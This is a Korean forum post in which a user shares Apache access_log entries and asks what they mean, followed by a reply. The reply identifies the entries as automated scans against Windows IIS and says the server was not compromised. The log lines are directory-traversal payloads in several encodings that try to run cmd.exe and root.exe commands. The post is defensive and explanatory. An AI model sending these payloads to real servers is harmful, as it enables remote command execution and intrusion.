아래는 저의 access_log파일 중 일부입니다... 아게 뭘 뜻하는 것인지 궁금해서 그러니... 답변 좀 부탁드립니다...^^ 오늘은 비가 오네요...봄비라서 그런지... 날씨가 좀 눅눅하긴 하지만... 기분은 좋네요...^^ 그럼 즐거운 하루들 되세요...^^ ==================================================================== 211.221.52.99 - - [18/Feb/2002:02:19:16 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 278 211.221.52.99 - - [18/Feb/2002:02:19:19 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288 211.221.52.99 - - [18/Feb/2002:02:19:22 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 288 211.221.52.99 - - [18/Feb/2002:02:19:25 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 211.221.52.99 - - [18/Feb/2002:02:19:28 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+di r HTTP/1.0" 404 319 211.221.52.99 - - [18/Feb/2002:02:19:31 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" 404 319 211.221.52.99 - - [18/Feb/2002:02:19:34 +0900] "GET /msadc/..%255c../..%255c../. .%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335 211.221.52.99 - - [18/Feb/2002:0 2:19:38 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 211.221.52.99 - - [18/Feb/2002:0 2:19:41 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 211.221.52.99 - - [18/Feb/2002:0 2:19:44 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 211.221.52.99 - - [18/Feb/2002:0 2:19:47 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301 211.221.52.99 - - [18/Feb/2002:0 2:19:51 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285 211.221.52.99 - - [18/Feb/2002: 02:19:54 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285 211.221.52.99 - - [18/Feb/2002:0 2:19:57 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 211.221.52.99 - - [18/Feb/200 2:02:20:01 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302 ============================== ==================================== 아시는 분은 답글이나 메일 좀 부탁드립니다...^^
로그에 보이는 /MSADC/root.exe 나 cmd.exe 요청은 윈도우 IIS 취약점을 노리는 자동 스캔입니다. 리눅스 아파치에는 그 파일이 없어서 404 가 나오는 것이 정상입니다. 해킹 시도로 볼 수는 있지만 서버가 뚫린 것은 아니니, 반복되는 주소는 차단하는 것이 좋습니다.